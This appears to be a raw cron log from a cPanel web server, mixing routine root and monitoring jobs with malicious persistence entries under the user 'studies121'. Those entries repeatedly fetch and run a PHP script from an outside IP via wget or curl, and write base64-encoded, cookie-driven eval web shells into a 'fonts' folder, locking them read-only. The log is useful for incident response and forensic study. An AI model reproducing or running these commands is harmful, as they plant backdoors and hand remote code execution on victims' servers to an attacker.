Sep 20 11:42:01 ip-184-168-122-23 CROND[10709]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:42:01 ip-184-168-122-23 CROND[10710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:42:01 ip-184-168-122-23 CROND[10711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:43:01 ip-184-168-122-23 CROND[10940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:43:01 ip-184-168-122-23 CROND[10942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:43:01 ip-184-168-122-23 CROND[10943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:43:01 ip-184-168-122-23 CROND[10944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:44:01 ip-184-168-122-23 CROND[11198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:44:01 ip-184-168-122-23 CROND[11199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:44:01 ip-184-168-122-23 CROND[11202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:44:01 ip-184-168-122-23 CROND[11203]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:44:01 ip-184-168-122-23 CROND[11204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:45:01 ip-184-168-122-23 CROND[11537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:45:01 ip-184-168-122-23 CROND[11539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:45:01 ip-184-168-122-23 CROND[11540]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 11:45:01 ip-184-168-122-23 CROND[11543]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 11:45:01 ip-184-168-122-23 CROND[11541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:45:01 ip-184-168-122-23 CROND[11542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:46:01 ip-184-168-122-23 CROND[11806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:46:01 ip-184-168-122-23 CROND[11808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:46:01 ip-184-168-122-23 CROND[11811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:46:01 ip-184-168-122-23 CROND[11809]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:46:01 ip-184-168-122-23 CROND[11812]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 20 11:46:01 ip-184-168-122-23 CROND[11813]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 11:46:01 ip-184-168-122-23 CROND[11810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:47:01 ip-184-168-122-23 CROND[12092]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:47:01 ip-184-168-122-23 CROND[12095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:47:01 ip-184-168-122-23 CROND[12094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:47:01 ip-184-168-122-23 CROND[12096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:48:01 ip-184-168-122-23 CROND[12318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:48:01 ip-184-168-122-23 CROND[12320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:48:01 ip-184-168-122-23 CROND[12321]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:48:01 ip-184-168-122-23 CROND[12323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:48:01 ip-184-168-122-23 CROND[12322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:49:01 ip-184-168-122-23 CROND[12578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:49:01 ip-184-168-122-23 CROND[12579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:49:01 ip-184-168-122-23 CROND[12580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:49:01 ip-184-168-122-23 CROND[12583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:50:01 ip-184-168-122-23 CROND[12841]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 11:50:01 ip-184-168-122-23 CROND[12842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:50:01 ip-184-168-122-23 CROND[12844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:50:01 ip-184-168-122-23 CROND[12845]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:50:01 ip-184-168-122-23 CROND[12851]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 11:50:01 ip-184-168-122-23 CROND[12848]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 11:50:01 ip-184-168-122-23 CROND[12849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:50:01 ip-184-168-122-23 CROND[12852]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 11:50:01 ip-184-168-122-23 CROND[12850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:51:01 ip-184-168-122-23 CROND[13135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:51:01 ip-184-168-122-23 CROND[13140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:51:01 ip-184-168-122-23 CROND[13139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:51:01 ip-184-168-122-23 CROND[13138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:52:01 ip-184-168-122-23 CROND[13391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:52:01 ip-184-168-122-23 CROND[13393]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:52:01 ip-184-168-122-23 CROND[13394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:52:01 ip-184-168-122-23 CROND[13396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:52:01 ip-184-168-122-23 CROND[13395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:53:02 ip-184-168-122-23 CROND[13715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:53:02 ip-184-168-122-23 CROND[13718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:53:02 ip-184-168-122-23 CROND[13719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:53:02 ip-184-168-122-23 CROND[13717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:54:01 ip-184-168-122-23 CROND[14016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:54:01 ip-184-168-122-23 CROND[14015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
